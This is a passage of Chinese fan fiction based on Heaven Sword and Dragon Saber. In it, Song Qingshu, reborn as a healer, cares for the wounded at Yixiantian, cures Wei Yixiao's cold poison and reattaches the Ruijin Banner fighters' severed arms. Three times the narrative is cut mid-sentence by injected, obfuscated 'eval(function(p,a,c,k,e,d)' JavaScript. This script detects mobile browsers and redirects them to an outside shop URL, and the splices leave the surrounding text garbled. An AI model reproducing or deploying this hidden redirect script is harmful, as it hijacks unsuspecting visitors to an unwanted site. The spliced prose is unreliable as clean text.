这是峨眉掌门平生第一次,对一个晚辈行此大礼。 一线峡的夜风刮得更紧了,打在脸上像细碎的刀子。殷梨亭从张无忌手里接过宋青书时,整个人都在颤抖——不是因为冷,是因为怀里这个人轻得可怕,呼吸微弱得像随时会断。 “雪橇!”他哑着嗓子喊。 殷梨亭小心翼翼地将宋青书放下,让他靠在一块背风的岩石上,然后开始解自己的外袍。 动作很急,手指冻得发僵,解扣子时几次都没解开。他干脆用力一扯,扣子崩开,滚落雪地。那件青灰色的武当道袍被他脱下,内里是柔软厚实的棉衬。他蹲下身,将袍子细致地铺在雪橇上——先抚平每一道褶皱,又将两只袖子仔细卷起,垫在宋青书头颈将要放置的位置,像是要为他筑起一个最柔软的巢。 月光照在他手上,那双常年握剑的手此刻有些抖。他不是第一次照顾受伤的宋青书——小时候这孩子练剑摔伤,发热说胡话,都是他守在床边。可没有一次像现在这样,让他觉得每一下动作都重若千钧。 铺好袍子,他转身去抱宋青书。他的身体在昏迷中无知无觉地蜷了一下,眉心微蹙,像在梦里遇到了什么不好的事。 殷梨亭的心像被针扎了,他深吸一口气,屏住呼吸,一手托住宋青书的肩背,一手穿过膝弯,将人从冰冷的岩石上轻轻抱起。 宋青书很轻。这几年他钻研医道,身形日益清瘦,此刻失血昏迷,抱在怀里更是轻飘飘的,像一片随时会散在风里的羽毛。 他好像在惩罚自己一样。 殷梨亭将他放在铺好的道袍上,动作轻柔得近乎虔诚。他仔细掖好袍角,将宋青书冰凉的手塞进棉衬里焐着,又理了理少年额前被冷汗浸湿的碎发。月光下,那张脸白得像纸,唇色淡得几乎看不见,只有微微颤动的睫毛证明他还活着。 做完这一切,殷梨亭直起身,将身上另一件厚棉袍脱下,仔细盖在宋青书身上。那袍子还带着他的体温,将少年整个人严严实实地包裹起来,只露出一张苍白的脸。 他自己只剩一件单薄的中衣,在寒风里却恍若未觉,只死死盯着宋青书的脸,像是要用目光确认这个人的每一分呼吸。 “殷六侠。” 一个声音在身后响起。殷梨亭猛地回头,看见那个一直沉默的农家青年——曾阿牛,正拄着树枝站在不远处。月光照在他脸上,那双眼睛里有什么东西在翻涌,复杂得让人看不懂。 “曾兄弟。”殷梨亭勉强点头,“方才……多谢你扶住青书。” 张无忌没有接话,只是慢慢走过来。他扔掉树枝——那根伪装用的破木棍在雪地里滚了几圈,停在一块岩石边。然后他在雪橇旁蹲下,伸出右手。 手指修长,指节分明,掌心有常年劳作的薄茧。此刻那只手悬在宋青书腕脉上方三寸处,微微颤抖。 殷梨亭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109863|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞳孔一缩——这起手式…… 似乎是武当的“探云指”。 天气阴沉沉的,让人看不真切。 可又不像,那指法更精微,更圆融,带着某种浑然天成的气韵。 张无忌的手指终于落下,轻轻按在宋青书腕脉上。 他闭着眼,眉头微蹙,像是在倾听什么极细微的声音。 月光照在他侧脸上,那张原本憨厚的农家面容此刻竟有种说不出的沉静威严。 殷梨亭屏住呼吸,不敢打扰。他能感觉到这个年轻人身上的变化——那股木讷憨厚的气息褪去了,取而代之的是一种深藏不露的内敛与沉稳。 时间一点一滴流逝。峡谷里的风呜呜作响。远处,峨眉派那边传来低低的啜泣声和说话声,是静玄她们在照顾刚刚苏醒的静虚。 而这里,只有雪橇上昏迷的宋青书,蹲在旁边的张无忌,和站在一旁的殷梨亭。 许久,张无忌睁开眼,缓缓收回手。 “如何?”殷梨亭急声问。 “失血过多,元气大伤。”张无忌的声音很轻,却异常清晰,“但心脉平稳,性命无碍。只是……”他顿了顿,看向宋青书苍白的脸,“他用自己的血换别人的命,这份损耗,需静养数日才好。” 殷梨亭眼眶又红了:“青书……这孩子总是这样……” “总是怎样?”张无忌抬眼看他,那双眼睛里有什么东西一闪而过。 “总是……”殷梨亭哽住,不知该怎么形容。是说宋青书如今沉静得让人心疼?还是说他明明武功尽废,却在治病救人时总是恨不能一身当之,以一身替之。 可是这位曾小兄弟又是以什么身份来追问他呢?殷梨亭一脸狐疑地看着他。 张无忌只是重新握住宋青书的手腕,一股温和浑厚的内力缓缓渡入。那内力精纯无比,如春水般流过枯竭的经脉,所过之处,冰冷的四肢渐渐恢复暖意,苍白的脸上也泛起一丝极淡的血色。 殷梨亭看得真切——这内力,这手法,绝不是普通农家子弟该有的。 可师父明明说过…… 殷梨亭眉头紧锁,记忆拉回十二年前的那个黄昏。 武当后山的紫竹林里,张三丰将宋远桥和几位弟子叫到跟前。那时宋青书刚刚自废武功,整日昏睡,气若游丝。 他想用武当纯阳内力为他续命,却被太师父严厉制止。 那时他留二哥在海上继续寻找五哥的下落,自己先行回来。 “万万不可。”张三丰的白眉微蹙,眼中是罕见的凝重,“青书体内的……不是内力,那是另一条路,与武当心法截然不同。若以纯阳内力强行输入,两气相冲,轻则经脉尽毁,重则……” 他没有说下去,可话里的意思谁都明白。 “那该怎么办?”宋远桥急问。 “让他自己走。”张三丰看着竹舍的方向,目光悠远,“这条路,没人能帮他。是福是祸,全看他的造化。” 从那以后,武当上下再无人敢给宋青书渡内力。 可今晚…… 殷梨亭站起身,走到张无忌面前。“曾兄弟,”殷梨亭开口,声音在夜风里有些飘,“方才……多谢你。” 张无忌睁开眼,那双总是带着憨厚笑意的眼睛里,此刻清明得惊人:“殷六侠客气了。宋大夫是为了救人才受伤,我不过尽些绵薄之力。” “绵薄之力……”殷梨亭重复着这四个字,目光落在张无忌脸上,“曾兄弟的内力很是特别,似乎……并非寻常路数?” 这话问得委婉,意思却直白。张无忌沉默片刻,才道:“晚辈的内力,确实与中原各派有所不同。但具体来历……请恕晚辈不便多言。” 殷梨亭点头,没有追问,却换了个问题:“曾兄弟可知,武当纯阳内力,是不能给青书渡入的?” 张无忌一怔:“为何?” “师父说过,青书体内修的是念力,与内力相冲。”殷梨亭盯着他,“可曾兄弟的内力,为何就能用?” 这个问题像一把钥匙,打开了某个尘封的匣子。张无忌的脸色变了变,眼中闪过复杂的神色。许久,他才低声道:“或许……是因为晚辈的内力,来自异域。我也不知。” 这话说得含糊,殷梨亭却听出了其中的闪烁。他不再追问,只道:“无论如何,今日多谢曾小兄弟。” 殷梨亭看了他一会儿,忽然道:“曾兄弟,你与青书……从前可曾相识?” 张无忌的嘴唇动了动,最终只说:“殷六侠,有些事,现在还不能说。但请您相信——我对宋大夫,绝无恶意。” “我信。”殷梨亭拍拍他的肩,转身走回雪橇旁。 殷梨亭坐在雪橇边,看着宋青书苍白的睡颜,又看看远处那个沉默的农家青年,心中疑窦丛生。 张无忌闭上眼睛,思绪仍不停。 难道说……只有九阳神功才对青书哥哥有用是吗? 篝火渐弱,夜色愈深。殷梨亭靠在岩石上睡着了,鼾声均匀。 只有张无忌还醒着。他起身,走到雪橇边,蹲下身,轻轻握住宋青书的手腕。 脉搏依旧微弱,却比方才平稳了些。他将一丝九阳真气缓缓渡入,这一次更加小心,更加专注。 真气如溪流,沿着经脉缓缓流淌。他似乎看见了——宋青书体内那些枯竭的经络,那些因输血而虚浮的血脉,还有……丹田深处,一点微弱却坚韧的光。 那是念力的本源。 他的九阳真气靠近时,那点光微微颤动,却没有排斥,反而像干渴的土地遇见了甘霖,缓缓吸收着这份温暖。 果然。 张无忌心头一震。 青书哥哥的念力,与他的九阳真气,竟是……相生的? 他想起太师父说过的阴阳相济,想起医书上说的“孤阴不生,独阳不长”。 或许,这就是答案。 内力与念力,本就是一体两面。只是世人修行,大多只取其一,所以才会相冲。可若修行到了某种境界,或是如九阳神功这般至阳至纯,或是如宋青书这般以念入道…… 便能相融。 张无忌收回手,看着宋青书苍白的脸,眼中涌起复杂难言的情绪。 夜风呜咽,吹散了他心中最后一丝疑惑。 他不再多想,只是重新坐回雪橇旁,闭目调息,将九阳真气运转到极致,随时准备为这个人疗伤。 雪橇上,宋青书的呼吸,一声,一声,渐渐平稳。 45. 光明汇聚一线天4 宋青书是在一片温暖的包裹中醒来的。 先恢复的是嗅觉——浓重的血腥气淡去了,取而代之的是熟悉的草药香,还有一丝极淡的、属于六叔的松木气息。然后听觉——风声小了,变成遥远的呜咽;有人压低声音说话,是静玄师姐在交代什么;还有……雪橇在雪地上摩擦的吱呀声,规律而沉稳。 最后是视觉。 他缓缓睁开眼,看见的是灰蒙蒙的天空,以及天空下,殷梨亭那张写满焦灼的脸。六叔的眼睛还是红的,见他睁眼,先是愣住,继而狂喜:“青书!青书你醒了?!” 声音不大,却惊动了周围所有人。 “宋少侠醒了!” “快去告诉师父!” 脚步声杂乱地响起,很快,一张张关切的脸围拢过来。静玄、苏梦清、净尘……峨眉弟子们眼中都带着真诚的感激。静虚也在其中——她靠在一个师姐身上,脸色虽仍苍白,却已有了活气,见宋青书望来,挣扎着要起身行礼。 “别动。”宋青书想说话,喉咙却干涩得发不出声音。 殷梨亭立刻解下水囊,小心翼翼托起他的头,一点点喂他喝水。温水流过喉管,带来些许暖意,也唤回了更多神智。 “静虚师姐……”他终于能发出声音,虽然嘶哑得厉害。 “我没事。”静虚的声音还很虚弱,却带着劫后余生的颤抖,“宋少侠……静虚这条命是您救的。此恩……此恩如山,静虚此生必报。” 说着,她竟在师姐的搀扶下,朝着宋青书的方向深深俯首。周围的峨眉弟子也齐齐躬身,连向来刻薄的丁敏君,此刻也低垂着头,神色复杂。 灭绝师太站在弟子们身后,看着这一幕,没有说话,只那双总是锐利如刀的眼睛里,掠过一丝极难察觉的波动。 宋青书轻轻摇头:“师姐言重了。医者本分,不必如此。” 他想坐起来,却发现浑身像被拆散重组过,每一寸骨头都透着酸软无力,尤其是左臂输血的位置,传来绵密的刺痛。 “别动!”殷梨亭按住他,眼圈又红了,“你流了那么多血,元气大伤,好好躺着!” 队伍重新启程。宋青书仍躺在雪橇上,身上盖着厚厚的袍子——殷梨亭的那件铺在下面,另一件盖在上面,将他裹得严严实实。雪橇由张无忌拖着,他依旧“一瘸一拐”,却走得很稳,务求雪橇上的人感受不到一丝颠簸。 日头渐高,一线峡的出口就在前方。积雪在阳光下反射出刺眼的光,宋青书眯着眼,看着两侧陡峭的崖壁缓缓后退。 正走着,前方探路的静玄忽然疾步折返,脸色凝重:“师父,前面有三个人拦路!” 气氛一凛。 队伍停下。灭绝师太抬手示意众人戒备。 宋青书被扶着坐直了些,目光越过殷梨亭的肩膀向前望去。 辽原空阔处,果然站着三个人。 正是天鹰教殷天正座下三大家仆——无福,无禄,无寿。 三人均是大约五十来岁,其中一人脸上有一道极长的刀疤,从右额角斜掠鼻尖至左嘴角,相貌丑陋。应是殷无福。满脸麻皮,相貌同样丑陋该是殷无禄。 三人均身着仆役服饰。 宋青书的心脏像是被一只无形的手攥紧了。前世记忆如潮水倒灌——就是这里,就是这三人。那时书里说他与这三人奋勇斗战,虽败犹不失脸面。 可这一次…… “诸位英雄远道而来,可是要上光明顶?”无福拨完最后一颗算珠,抬起头,和气笑道,“我家老爷说了,此路不通,还请回吧。” 声音不大,却清晰地传遍全场,带着一股不容置疑的内力。 灭绝师太冷哼一声,拂尘一甩:“殷天正好大的架子!凭你们三个,也敢拦峨眉派的路?” 无禄咳嗽两声,竹杖在地上顿了顿:“师太息怒。我等奉命行事,若有得罪,还望海涵。” 语气谦卑,眼中却无半分退意。 殷梨亭按捺不住,长剑已然出鞘。武当剑法讲究中正平和,可殷梨亭的剑却多了三分快意,七分凌厉。他身形展动,剑光如练,直取中间的无福。 无福脸上的笑容不变,竟将剑锋稳稳架住。两人瞬间战在一处,金铁交鸣之声不绝于耳。 无禄和无寿同时出手。竹杖如毒蛇吐信,点向殷梨亭周身大穴;铁佛珠呼啸而来,砸向他背心要害。 “六叔小心!”宋青书忍不住喊道。 这很显得自己像个废物,宋青书也忍不住在心里自己吐槽自己。 可殷梨亭以一敌三,竟丝毫不落下风。他剑法展开,如行云流水,在三人围攻中穿梭自如,甚至渐渐占据了上风。无禄的竹杖几次险险点中他穴道,却都被他以精妙的身法避开;无寿的铁佛珠更是连他衣角都沾不到。 “武当剑法……名不虚传。”无福的笑容终于淡了,眼中露出凝重之色。 就在战局胶着之际,一道娇小的身影忽然从峨眉弟子中窜出,直扑无禄! 是蛛儿! 她脸上疤痕狰狞,眼中却闪着异样的光芒,双手成爪,带着腥风,抓向无禄面门。这一下突如其来,所有人都愣住了。 无禄猝不及防,竹杖回防已来不及,只能侧身闪避。蛛儿的指尖擦过他脸颊,留下三道血痕。 “你……”无禄捂着脸,眼中露出震惊之色,“这爪法……” 蛛儿落地,恶狠狠地瞪着他:“老东西,看什么看!” 无福和无寿也停下手,目光齐齐落在蛛儿脸上。无福脸上的笑容彻底消失了,取而代之的是一种难以置信的激动:“三、三小姐?” “你脸上的疤……”无禄声音发颤,“是千蛛万毒手?” 三名家仆对视一眼,忽然同时单膝跪地:“属下无福(无禄、无寿),参见三小姐!” 灭绝师太眉头紧锁。 蛛儿后退一步,警惕道:“你们认错人了!我才不是什么三小姐!” “不会错!”无福抬头,“这千蛛万毒手,这眉眼……您定是殷离小姐!” 蛛儿——不,殷离——脸色变幻不定。她看着跪在地上的三人,又看看自己布满疤痕的手,忽然尖声道:“我不是!我不是殷离!我是蛛儿!练千蛛万毒手的蛛儿!” 说着,她竟转身就跑,几个起落就消失在峡谷的岔路中。 “三小姐!”无福三人急忙起身要追。 “站住!”灭绝师太冷喝一声,拂尘横拦,“你们当我峨眉是什么地方?说来就来,说走就走?” 灭绝师太冷哼一声:“殷天正的孙女欺我峨眉弟子,老尼还没找你们算账,你们倒先讨起方便来了?” 便在此时,无禄忽然从怀中掏出一物——是个黑漆漆的圆筒,约莫巴掌大小。他对着地面猛力一掷! “嘭——!” 一声闷响,圆筒炸开,却不是火药,而是喷出大团浓密的灰色粉尘。那粉尘瞬间弥漫开来,笼罩了方圆数丈,遮天蔽日,连近在咫尺的人都看不清面目。 “小心有毒!”殷梨亭急喝,护着宋青书。 众人纷纷掩住口鼻,峨眉弟子也迅速散开。可那粉尘似乎并无毒性,只是极细极密,沾在衣袍上便留下灰白的痕迹。 周芷若站在师父身后,目光却不由自主地飘向雪橇上的宋青书。 七年前那个武当少年,用平静的语气说“太师父在真武殿”。 从未变过。 也从未真正了解过。 宋青书闭上眼,感受着身体里缓慢恢复的元气,也感受着这场突如其来的变故带来的涟漪。 武当与峨眉两派在一处背风的岩凹扎营,篝火噼啪作响,映着众人疲惫的脸。静虚已能坐起,正小口喝着静玄熬的粥。 宋青书则靠坐在雪橇旁,身上裹着厚厚的袍子,脸色依旧苍白,眼神却清明了许多。 殷梨亭蹲在他身边,检查他手臂。 宋青书点头应着,目光却不由自主地飘向营地边缘——那里,张无忌正沉默地坐在一块岩石上,低着头,不知在想什么。 夜渐深,众人陆续歇息。宋青书因失血过多,格外畏寒,殷梨亭特意在他身边多添了些柴火,又将自己的外袍也盖在他身上。 “六叔,您自己……” “六叔不冷。”殷梨亭微微一笑,“你好好睡,我守着你。” 可最终,最先睡着的却是殷梨亭——白日一战损耗不小,他靠着岩石,很快发出了均匀的鼾声。 宋青书却睡不着。他仰头看着一线天上稀疏的星子,思绪纷乱。前世、今生、静虚的命……种种画面在脑中交错,像一场醒不来的梦。 就在他意识渐渐模糊时,一股极淡的寒意忽然掠过。 不是夜风的冷,是一种更尖锐、更刺骨的寒,像冰针扎进骨髓里。 宋青书瞬间清醒。他睁开眼,看见篝火旁不知何时多了一道青影——青条袍子在夜风中微微飘动,那人背对着火光,面容隐在阴影里,只一双眼睛在黑暗中泛着幽冷的光。 韦一笑。 他没有走。他一直跟着他们,像一只耐心的猎豹,等待最合适的时机。 宋青书的手悄悄摸向药箱。可韦一笑的动作更快——青影一闪,已到他面前,冰冷的手指扣住他手腕。 “别动。”声音嘶哑,像小兽的低鸣,“跟我走,或者我杀了这里所有人。” 宋青书瞳孔骤缩。他看着近在咫尺的这张脸——青白,瘦削,嘴唇发紫,眼底深处是压抑不住的痛苦。寒毒正在发作。 “你……”他开口,声音干涩。 “你救得了那女娃娃,自然也救得了我。”韦一笑凑近些,呼出的气息都是冰冷的,“跟我走,我保证不伤你性命。” 营地另一侧,张无忌忽然睁开眼睛。他看见那道青影,看见被扣住手腕的宋青书,浑身肌肉瞬间绷紧。可就在他要起身时,宋青书的目光忽然投了过来。 极短暂的一瞥,带着一种奇异的平静,然后轻轻摇了摇头。 别动。 张无忌僵住了。他看着宋青书被韦一笑带着,像一片轻羽般掠起,几个起落就消失在夜色深处。整个过程悄无声息,连睡在旁边的殷梨亭都未惊醒。 篝火噼啪,火星子窜起,又坠落。 风继续吹。 韦一笑的速度太快。宋青书只觉耳边风声呼啸,眼前景物飞速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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药箱里瓶瓶罐罐很多,宋青书翻找片刻,取出一只青玉小瓶。打开瓶塞,一股异香弥漫开来,连崖下的张无忌都闻到了。 “这是什么?”韦一笑问。 “抱阳丹。”宋青书倒出一颗丹药在手心。那丹药莹在月光下流转着淡淡的金色光晕,“这本是为我一位师弟炼制的。他中了玄冥神掌,寒毒入骨……可惜,丹药炼成时,他已不在了。” 他的声音很轻,带着一种深切的回忆似的。 崖下的张无忌浑身一震。 青书哥哥……还记得。一直都记得。 “这丹药以天山雪莲为君,辅以七味至阳药材,能涤清体内寒毒,温养经脉。”宋青书将丹药递给韦一笑,“你的寒毒虽深,但此丹应该能解。” 韦一笑接过丹药,在掌心端详片刻,忽然笑了:“你不怕我好了之后反悔,杀了你?” “怕。”宋青书坦然道,“但医者救人,不问善恶。你若真要杀我,我也无话可说。” 这话说得平静,说得坦然。 韦一笑深深看他一眼,仰头将丹药吞下。 丹药入腹,一股暖流瞬间涌起。那暖意起初温和,渐渐变得滚烫,如岩浆般流遍全身经脉。韦一笑闷哼一声,额角渗出冷汗,浑身微微颤抖。 宋青书紧紧盯着他。这是他第一次用抱阳丹治疗寒毒,心中也没底。只见韦一笑的脸色由青白转为潮红,嘴唇的紫色渐渐褪去,呼吸也从急促变得平稳。 约莫一炷香后,韦一笑长长吐出一口气。那气息在寒冷的空气中凝成白雾,久久不散。 “如何?”宋青书问。 韦一笑睁开眼,眼中精光一闪:“好丹药。”他活动了一下手指,关节发出噼啪轻响,“寒毒……确实消了大半。而且……”他感受着体内流转的内力,脸上露出惊异之色,“内力似乎还精纯了不少。” “这丹本就有洗练内力之效。”宋青书解释,“但你寒毒日久,一次难以根除。需连续服用三颗,方能痊愈。” 说着,他不吝赐药,又取出两颗丹药:“这两颗,每隔三日服一颗。” 韦一笑接过丹药,沉默良久,忽然抱拳:“宋青书,今日之恩,韦一笑记下了。从今往后,我这条命,算是你救的。” “我要你的命做什么?”宋青书摇头,“只望你记得承诺,不再滥杀。” “一诺千金。”韦一笑郑重道,“不过……”他顿了顿,“若有人要杀我,我总不能站着等死吧?” “自卫伤人,不算滥杀。”宋青书道,“但你若再为练功或解馋杀人,我便是白救了你,希望你不要违誓。” 这话说得太平静了,内心再怎么喧嚣的人听了都要安静下来,等候差遣。 韦一笑看着他,忽然笑了:“有意思。武当派果然名不虚传。” 他站起身,青影一闪已到他身边。冰冷的手扣住他手腕,宋青书只觉身子一轻,整个人已被带起,耳边风声呼啸,眼前的景物飞速倒退。 就在两人离开崖顶的刹那,崖下一块凸出的岩石后,一道黑影无声地掠出。 46. 光明汇聚一线天5 光明顶下的山谷,风声里都带着血腥气。 四派精英尽出,将锐金旗团团围住。掌旗使庄铮已死,尸身还倒在血泊中,可旗下数十人竟无一退缩,个个手持兵器,背靠背结成圆阵,眼中是赴死的决绝。 殷梨亭杀了数名教众,剑尖滴血,心中却无半分快意。他回头看向后方的宋青书站在稍远的山石上,脸色依旧苍白。 这一路行来,六师叔始终记着要保护这个侄儿,所以刻意落在了队伍后面。 等他们赶到战场时,惨状已现。 静玄的剑刚砍下一名锐金旗弟子的右臂,鲜血喷溅。地上已躺了十几条断臂。 张无忌——此时仍扮作曾阿牛——正穿梭其间,以极快的手法为伤者点穴止血。他刚与灭绝师太对完第一掌,嘴角溢血,却死死挡在锐金旗众人面前。 “第二掌!”灭绝师太冷喝,掌风如雷。 张无忌咬牙硬接,轰然巨响中,他倒退三步,地面留下深深的脚印,嘴角血流得更多了。 宋青书站在山石上,看着满地的残肢,看着那些咬牙不吭声的锐金旗弟子,眼中隐有痛色。他对明教中人素无好感,唯独敬佩五行旗——锐金、巨木、洪水、烈火、厚土,五旗各有所长,纪律严明,行事也有底线,从不滥杀无辜,与韦一笑、杨逍那些行事霸道乖张之人截然不同。 “青书……”殷梨亭见他神色不对,低声唤道。 宋青书深吸一口气,从药箱里取出那套冰魄银片和冰魄银丝。薄如蝉翼的银片用来接骨,细如发丝的银管用来续接血管经络——本以为用不上,如今…… 他跳下山石,朝战场中央走去。 “宋少侠!”静虚见他过来,急道,“这里危险,你……” “静虚师姐,”宋青书打断她,声音平静,“能否让让?我要救人。” “救人?”静虚一愣,“救谁?” 宋青书指了指地上那些断臂的锐金旗弟子:“他们。” 话音落下,不只静虚,连周围的峨眉弟子都愣住了。 “宋少侠,你糊涂了?”一个峨眉女弟子忍不住道,“这些是魔教妖人!你怎可……” “我只是个医者。”宋青书看着她,眼神澄澈,“医者眼中只有伤者,没有正邪。况且……”他环视四周,“这般围攻,胜之不武。这些人重义轻生,治好了他们再斗,也好显得我们名门正派的风骨。” 这话说得有理有节,那女弟子张了张嘴,竟无言以对。 灭绝师太正与张无忌对峙,闻言瞥了宋青书一眼,却没阻止。 宋青书不再多言,快步走到一名伤者身边。这是个三十岁上下的汉子,右臂齐肘而断,他咬紧牙关,额头青筋暴起,竟一声不吭。 “得罪了。”宋青书蹲下身,先检查断口,又从地上找到那条断臂——还好,切口整齐,骨头、血管、经络都还完整。 他从药箱取出一个瓷瓶,倒出些透明的药液清洗伤口,又用银针封住几处大穴止痛。然后拿起冰魄银片——薄得几乎透明,却异常柔韧。他将断骨两端对齐,用银片贴合固定,指间捻动,某种无形的气劲将接口完全密封。 接着是冰魄银丝。细如发丝的管状物在他手中仿佛活了过来,精准地连接起断裂的血管和经络。每接一处,他的脸色就更白一分——这需要极精细的控制和持久的念力。 最后,他从药箱取出特制的鱼筋线——是以特殊药液浸泡过的鲤鱼筋,柔韧无比,用来缝合皮肉再好不过。针线翻飞,伤口渐渐闭合。 整个过程行云流水,看得周围人目瞪口呆。等张无忌接完灭绝师太第二掌,踉跄后退时,宋青书才处理好第一个伤者,额角已渗出薄薄的汗。 “吴劲草多谢……多谢大夫。”那汉子哑声道,眼中激动。 “别动。”宋青书低声道,“一个月内不可动武,不可沾水,两月后才能恢复如初。” 他起身,走向第二个伤者。 战场中央,张无忌正与殷野王还有灭绝师太正说着什么。 灭绝师太的第三掌蓄势待发,气氛紧张到极点。可宋青书恍若未觉,只专注于眼前这一个又一个伤者。 第二个,第三个…… 他的脸色越来越白,手指却稳如磐石。冰魄银丝在阳光下泛着冷光,每一次连接都精准无误。鱼筋线缝合时,他甚至会根据伤口走向调整针法,务求日后疤痕最小。 殷梨亭要他歇息一下,他说这些人的手臂等不得。 等了,他们的手臂就会坏死,再也接不上了。 当说不得忽然现身,将张无忌掳走时,宋青书刚接好第十二条断臂。他抬起头,看见那道灰色身影消失在远方,眼神微动,却未停手。 最后一人的手臂接好时,已是半个时辰后。 宋青书直起身,眼前忽然一黑,踉跄着后退。殷梨亭急忙上前扶住他:“青书!” “没事……”宋青书靠在他身上,声音虚弱,“六叔,扶我一下。” 殷梨亭扶着他走到锐金旗众人面前。那十几人虽被点了穴道止血,却都清醒着,此刻齐齐看着宋青书,眼中是难以置信的感激。 “都听着,”宋青书的声音很轻,却清晰地传入每个人耳中,“一个月内,决不可动武,不可沾水。谁若逞一时之快,动用这条手臂,便是废了,我也再无办法。” 他知道要这些人在明教存亡之际不动武是不可能的,可是他不想自己刚才的辛苦付之东流。 宋青书的目光扫过众人:“记住了么?” “记住了!”十几人齐声应道,声音嘶哑。 吴劲草挣扎着想跪,被宋青书按住:“别动,伤口会崩。” 可他还是执意跪了下来,其他十几人也跟着跪下。十几条汉子,齐齐朝着这个脸色苍白、身形摇晃的年轻人,重重磕了三个头。 “宋大夫再造之恩,锐金旗上下,永世不忘!”锐金旗今日被两个少年所救,这两份恩情他们将永志不忘。 声音在山谷中回荡,带着血与泪的重量。 周围,四派弟子全都沉默了。他们看着这一幕,看着满地的血污,看着那些被接好的断臂,心中仍旧不信。 “断肢续接……竟真能做到?”一个华山弟子喃喃道。 “还能恢复如初?”另一个昆仑弟子不敢相信。 “武当宋青书……神医之名,当之无愧。” 赞叹声此起彼伏。连灭绝师太也收起了拂尘,看着宋青书,眼中神色复杂难言。 殷梨亭扶着宋青书。 “六叔,”宋青书靠在他肩上,声音轻得几乎听不见,“我累了,想歇歇。” “好,好,师叔带你歇着。”殷梨亭背起他,朝武当营地走去。 身后,锐金旗众人还跪在地上,目送他们离开。阳光照在那些刚接好的手臂上,纱布洁白,像新生的希望。 山谷里的风依旧带着血腥气,可有什么东西,已经不一样了。 宋青书趴在殷梨亭背上,闭上眼,感受着身体里枯竭的元气,也感受着心中那份沉甸甸的释然。 他救了该救的人。 哪怕他们是“魔教妖人”。 医者眼中,只有伤者,没有正邪。 这一世,他活成了自己想要的样子。 他也活成了他身边的人想要的样子 这就够了。 …… 真的够了。 …… 锐金旗的血战结束后,宋青书被殷梨亭背回营地时,几乎已经失去了意识。他趴在六叔背上,只感觉整个世界都在旋转,耳边嗡嗡作响,眼前一阵阵发黑。 “青书?青书!”殷梨亭的声音听起来很遥远。 他张了张嘴,想说“我没事”,可喉咙里只发出一声模糊的气音。然后他感觉身体被轻轻放下,有人解开他的衣襟,冰凉的手指按在他腕脉上。 是父亲。 宋青书勉强睁开眼,看见宋远桥凝重的脸。这位武当掌门的眉头紧锁,眼中是他从未见过的惊惶。 “元气大伤。”宋远桥的声音很沉,沉得像压了千斤巨石,“一次失血,一次念力透支……”他已经知道了发生的事。 宋远桥在想自己坚持要带他来不知道是对还是错,现在看来好像是错的? “必须让他休息。”是张松溪的声音 殷梨亭道,“青书这孩子倔得很。”话语里颇含怨念。 然后宋青书感觉父亲的手指移到他颈侧。一股温和却不容抗拒的力量封住了几处大穴。他想要挣扎,身体却不听使唤,意识如潮水般退去,沉入无边的黑暗。 睡穴。 父亲点了他睡穴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109865|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许,他真的需要休息了。 宋青书做了一个很长的梦。 梦里他回到了武当山,还是小时候。太师父在紫竹林里打拳,动作慢得像在抚摸空气;父亲在真武殿处理派务,眉头总是微蹙;二师叔在崖边练剑,剑气惊飞满山雀鸟;四师叔在摆弄他的算筹,嘴里念念有词;六师叔在教他剑法,总是不厌其烦地纠正他的姿势;七师叔则缠着他,要他讲山下听来的故事。 还有……张无忌。 那个总跟在他身后,喊他“青书哥哥”的弟弟。两人一起爬后山,一起偷摘野果,无忌笑起来眼睛弯弯的,像月牙。 然后画面一转。 光明顶的血海。他提着剑,对面是张无忌失望的眼睛。 “宋师兄,为什么?” 他答不上来。因为他自己也不知道,为什么会走到这一步。 画面破碎,重组。 重生后的武当山。他坐在药房里,对着医书发呆。窗外是淅淅沥沥的雨,像永远也流不完的泪。 一线峡的夜。静虚蜡黄的脸,冰魄银丝冰冷的触感,自己血液流出的虚脱感。 锐金旗的断臂。那些咬牙不吭声的汉子,那些喷涌的鲜血,那些跪地磕头的感激。 一幕幕,一场场,在梦里交错重叠。他像个旁观者,看着前世的自己走向深渊,看着今生的自己在求生,好像又在求死一般。 直到一个声音穿透梦境: “痴儿怎的还不悟?” 他猛地睁开眼。 “醒了?” 宋青书被扶起来,靠在枕垫上。补气血的药很苦,他却一口气喝完了——他需要尽快恢复,不能再躺下去了。 “我睡了多久?”他哑声问。 “一天一夜。”殷梨亭接过空碗。 宋青书垂下眼,没说话。 帐外传来宋远桥的声音:“他醒了?” “醒了。”殷梨亭应道。 帐篷帘子再次被掀开,宋远桥走了进来。他看着儿子,目光复杂,许久才道:“感觉如何?” “好多了。”宋青书想坐直,被殷梨亭扶着。 “今日攻光明顶,你要去。”宋远桥的声音很平静,却带着不容置疑,“但必须答应为父——不许离开,不许救人,不许再动用念力。” 三个“不许”。 宋青书张了张嘴,最终只道:“青书遵命。” “好。”宋远桥转身,“收拾一下,半个时辰后出发。” 半个时辰后,队伍集结。 